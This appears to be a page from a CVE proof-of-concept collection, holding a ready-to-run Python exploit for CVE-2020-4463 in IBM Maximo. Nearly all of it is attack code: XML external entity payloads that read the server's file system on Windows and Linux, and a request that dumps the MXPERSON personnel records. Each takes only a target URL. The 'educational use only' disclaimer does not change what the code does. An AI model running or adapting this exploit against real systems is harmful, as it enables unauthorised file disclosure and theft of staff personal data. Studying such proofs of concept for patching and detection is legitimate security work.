4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-4463.py PY
#!/usr/bin/python3
############
# @Author Ibonok
# 
# CVE-2020-4463 IBM Maximo XXE
# 
# Do not use this in productiv enviroments.
# For educational use only. 
# 
############ 

from colorama import init, Fore, Style
import sys
import requests
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def dataeleak_example(url):
    # Mandatory Headers
    headers = {'Content-Type': 'application/xml'}
    basepath = "/meaweb/os/mxperson"

    # DUMP MXPERSON
    xml_query = """<?xml version='1.0' encoding='UTF-8'?>
                <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
                    <max:MXPERSONQuery>
                    </max:MXPERSONQuery>
                </max:QueryMXPERSON>"""

    print (requests.post(url + basepath, data=xml_query, headers=headers, verify=False).text)

def xxe_example(url):
    # Mandatory Headers
    headers = {'Content-Type': 'application/xml'}
    basepath = "/meaweb/os/mxperson"

    # XXE Windows
    xml_query = """<?xml version='1.0' encoding='UTF-8'?>
                <!DOCTYPE foo [
                    <!ELEMENT foo ANY>
                    <!ENTITY xxe SYSTEM "file:///c:/">
                ]>
                <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
                    <max:MXPERSONQuery>
                        <max:PERSON>
                            <max:PERSONUID>&xxe;</max:PERSONUID>
                        </max:PERSON>
                    </max:MXPERSONQuery>
                </max:QueryMXPERSON>"""

    print (requests.post(url + basepath, data=xml_query, headers=headers, verify=False).text)

    # XXE Linux
    xml_query = """<?xml version='1.0' encoding='UTF-8'?>
                <!DOCTYPE foo [
                    <!ELEMENT foo ANY>
                    <!ENTITY xxe SYSTEM "file:///">
                ]>
                <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
                    <max:MXPERSONQuery>
                        <max:PERSON>
                            <max:PERSONUID>&xxe;</max:PERSONUID>
                        </max:PERSON>
                    </max:MXPERSONQuery>
                </max:QueryMXPERSON>"""

    print (requests.post(url + basepath, data=xml_query, headers=headers, verify=False).text)

    

def check_args ():
    init(autoreset=True)
    pars = argparse.ArgumentParser(description=Fore.GREEN + Style.BRIGHT + 'CVE-2020-4463 PoC Data Leakage and XXE' + Style.RESET_ALL)

    pars.add_argument('-x', '--xxe', nargs='?', type=str2bool, default=False, const=True, help='XXE (Linux/Windows)')
    pars.add_argument('-d', '--dataleak', nargs='?', type=str2bool, default=False, const=True, help='Data Leakage REST request MXPERSON. May take a long time.')
    pars.add_argument('--url', nargs='?', help='Target URL http://, https://')

    args = pars.parse_args()

    if args.url is None:
        pars.error(Fore.RED + '--url required')        
    elif args.url and args.xxe is False and args.dataleak is False: 
        pars.error(Fore.RED + '-x/-xxe, or -d/--dataleak is missing')
    elif args.url and args.xxe: 
        return args.url, args.xxe, args.dataleak
    elif args.url and args.dataleak:
        return args.url, args.xxe, args.dataleak
    elif args.url and args.xxe and args.dataleak:
        pars.error(Fore.RED + 'To many Parameters, please check --help')

def single_url(url, xxe, dataleak):

    if dataleak:
        dataeleak_example ( url)
    elif xxe:
        xxe_example ( url)
    else:
        sys.exit()

def str2bool(v):
    if isinstance(v, bool):
       return v
    if v.lower() in ('yes', 'true', 't', 'y', '1'):
        return True
    elif v.lower() in ('no', 'false', 'f', 'n', '0'):
        return False
    else:
        raise argparse.ArgumentTypeError('Boolean value expected.')
            
if __name__ == "__main__":
    try:
        (url, xxe, dataleak) = check_args()
        single_url(url, xxe, dataleak)
    except KeyboardInterrupt:
        sys.exit()